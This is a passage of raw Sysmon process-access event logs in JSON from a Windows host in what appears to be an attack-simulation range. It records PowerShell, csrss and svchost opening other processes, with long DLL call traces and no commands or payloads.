C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3332f6|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b5560|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b4f07|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3d0d2f4b(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c574025(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c573cf6(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3d02510b(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c53488c(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c592d5b(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c5763c0(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c5763c0(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c576251(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c5681d6(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c574709(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c5742fc(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c574025(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c573cf6(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3d02510b(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c55ab57(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c55a127(wow64)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:14.446","SourceProcessGUID":"{90617006-415E-5F2D-0000-0010A1680700}","SourceProcessId":"4428","SourceThreadId":"4360","SourceImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetProcessGUID":"{90617006-415E-5F2D-0000-0010D5740700}","TargetProcessId":"3784","TargetImage":"C:\\Windows\\system32\\chcp.com","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3332f6|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b5560|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b4f07|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3d0d2f4b(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c574025(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c573cf6(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3d02510b(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c53488c(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c592d5b(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c5763c0(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c5763c0(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c576251(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c5681d6(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c574709(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c5742fc(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c574025(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c573cf6(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3d02510b(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c55ab57(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c55a127(wow64)","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4878,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:14.446\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-415E-5F2D-0000-0010D5740700}\r\nTargetProcessId: 3784\r\nTargetImage: C:\\Windows\\system32\\chcp.com\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:14.446","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-415E-5F2D-0000-0010D5740700}","TargetProcessId":"3784","TargetImage":"C:\\Windows\\system32\\chcp.com","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4879,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:14.446\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:14.446","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4880,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:14.446\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:14.446","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4881,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:14.446\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:14.446","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4882,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:14.446\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:14.446","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4883,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:14.446\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:14.446","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4884,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:14.446\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 